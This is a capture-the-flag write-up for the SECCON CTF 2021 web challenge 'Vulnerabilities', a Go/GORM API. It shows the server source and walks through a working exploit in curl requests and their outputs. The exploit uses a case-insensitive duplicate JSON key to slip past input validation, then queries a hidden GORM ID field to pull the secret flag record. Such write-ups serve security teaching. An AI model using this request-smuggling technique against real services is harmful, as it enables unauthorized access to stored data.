# Vulnerabilities (web, 94 teams solved) ###### tags: `SECCON CTF 2021` ## Overview ![](https://i.imgur.com/1zFtCEB.png) This application shows the logo and the URL of the past named vulnerabilities. There is an endpoint `/api/vulnerability`. ``` $ curl -d '{"Name": "Heartbleed"}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"} ``` Source code: ```go= package main import ( "log" "os" "github.com/gin-contrib/static" "github.com/gin-gonic/gin" "github.com/gin-gonic/gin/binding" "gorm.io/driver/sqlite" "gorm.io/gorm" ) type Vulnerability struct { gorm.Model Name string Logo string URL string } func main() { gin.SetMode(gin.ReleaseMode) flag := os.Getenv("FLAG") if flag == "" { flag = "SECCON{dummy_flag}" } db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) if err != nil { log.Fatal("failed to connect database") } db.AutoMigrate(&Vulnerability{}) db.Create(&Vulnerability{Name: "Heartbleed", Logo: "/images/heartbleed.png", URL: "https://heartbleed.com/"}) db.Create(&Vulnerability{Name: "Badlock", Logo: "/images/badlock.png", URL: "http://badlock.org/"}) db.Create(&Vulnerability{Name: "DROWN Attack", Logo: "/images/drown.png", URL: "https://drownattack.com/"}) db.Create(&Vulnerability{Name: "CCS Injection", Logo: "/images/ccs.png", URL: "http://ccsinjection.lepidum.co.jp/"}) db.Create(&Vulnerability{Name: "httpoxy", Logo: "/images/httpoxy.png", URL: "https://httpoxy.org/"}) db.Create(&Vulnerability{Name: "Meltdown", Logo: "/images/meltdown.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Spectre", Logo: "/images/spectre.png", URL: "https://meltdownattack.com/"}) db.Create(&Vulnerability{Name: "Foreshadow", Logo: "/images/foreshadow.png", URL: "https://foreshadowattack.eu/"}) db.Create(&Vulnerability{Name: "MDS", Logo: "/images/mds.png", URL: "https://mdsattacks.com/"}) db.Create(&Vulnerability{Name: "ZombieLoad Attack", Logo: "/images/zombieload.png", URL: "https://zombieloadattack.com/"}) db.Create(&Vulnerability{Name: "RAMBleed", Logo: "/images/rambleed.png", URL: "https://rambleed.com/"}) db.Create(&Vulnerability{Name: "CacheOut", Logo: "/images/cacheout.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: "SGAxe", Logo: "/images/sgaxe.png", URL: "https://cacheoutattack.com/"}) db.Create(&Vulnerability{Name: flag, Logo: "/images/" + flag + ".png", URL: "seccon://" + flag}) r := gin.Default() // Return a list of vulnerability names // {"Vulnerabilities": ["Heartbleed", "Badlock", ...]} r.GET("/api/vulnerabilities", func(c *gin.Context) { var vulns []Vulnerability if err := db.Where("name != ?", flag).Find(&vulns).Error; err != nil { c.JSON(400, gin.H{"Error": "DB error"}) return } var names []string for _, vuln := range vulns { names = append(names, vuln.Name) } c.JSON(200, gin.H{"Vulnerabilities": names}) }) // Return details of the vulnerability // {"Logo": "???.png", "URL": "https://..."} r.POST("/api/vulnerability", func(c *gin.Context) { // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } // Get details of the vulnerability var query Vulnerability if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 2"}) return } var vuln Vulnerability if err := db.Where(&query).First(&vuln).Error; err != nil { c.JSON(404, gin.H{"Error": "not found"}) return } c.JSON(200, gin.H{ "Logo": vuln.Logo, "URL": vuln.URL, }) }) r.Use(static.Serve("/", static.LocalFile("static", false))) if err := r.Run(":8080"); err != nil { log.Fatal(err) } } ``` ## Solution Someone may have wondered "SQL injection is successfully done, but not work. Why?" If you thought so by seeing server logs or others like, SQL Injection is not done. The SQL GORM logged is not the SQL actually executed as noted GORM's documents. > The SQL from Logger is not fully escaped like the one executed, be careful when copying and executing it in SQL console https://gorm.io/docs/security.html There is most likely no vulnerability of SQL Injection in this application. Although the JavaScript code query vulnerabilities only by its name (`Name`), the API accept other parameters. ``` $ curl -d '{"Name": "Heartbleed", "URL": "https://heartbleed.com/"}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"} $ curl -d '{"Name": "Heartbleed", "URL": "https://example.com"}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Error":"not found"} ``` You can see that the field `URL` works like `Name`. However, neither `Logo` nor `URL` can be guessed as well as `Name`. The key is the embedded field `grom.Model` ```go=14 type Vulnerability struct { gorm.Model Name string Logo string URL string } ``` ```go=10 type Model struct { ID uint `gorm:"primarykey"` CreatedAt time.Time UpdatedAt time.Time DeletedAt DeletedAt `gorm:"index"` } ``` https://github.com/go-gorm/gorm/blob/24026bf1fedf588357d183025f4312a77bd1f911/model.go The embedded fields can also be queried. ``` $ curl -d '{"Name": "Heartbleed", "ID": 1}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Logo":"/images/heartbleed.png","URL":"https://heartbleed.com/"} $ curl -d '{"Name": "Heartbleed", "ID": 2}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Error":"not found"} ``` We can guess `ID` since `ID` is the auto incremented primary key. The flag has `ID=14`. Of course, `{"Name": "Heartbleed", "ID": 14}` will not work since the SQL would be like `Name = 'Heartbleed' AND ID = 14`. The reason why `ID` is ignored when we do not set `ID`, is that GORM excludes fields of zero values. > When querying with struct, GORM will only query with non-zero fields, that means if your field’s value is `0`, `''`, `false` or other <a href="https://tour.golang.org/basics/12" target="_blank" rel="noopener">zero values</a>, it won’t be used to build query conditions https://gorm.io/docs/query.html#Struct-amp-Map-Conditions So, if we set `Name=""`, we can get the flag. The last obstacle is the following check. ```go=70 // Validate the parameter var json map[string]interface{} if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil { c.JSON(400, gin.H{"Error": "JSON error 1"}) return } if name, ok := json["Name"]; !ok || name == "" || name == nil { c.JSON(400, gin.H{"Error": "no \"Name\""}) return } ``` This check can be bypassed with `{"Name": "x": "name": ""}`. In spite of that keys of JSON are case-sensitive, the decoder of `json` accepts case-insensitive names. > To unmarshal JSON into a struct, Unmarshal matches incoming object keys to the keys used by Marshal (either the struct field name or its tag), preferring an exact match but also accepting a case-insensitive match. https://pkg.go.dev/encoding/json#Unmarshal ``` $ curl -d '{"Name": "x", "name": "", "ID": 14}' https://vulnerabilities.quals.seccon.jp/api/vulnerability {"Logo":"/images/SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}.png","URL":"seccon://SECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}"} ``` Did you notice that there is the flag image in the server? ![](https://i.imgur.com/Hs902XH.png) `ECCON{LE4RNING_FR0M_7HE_PA5T_FINDIN6_N0TABLE_VULNERABILITIE5}`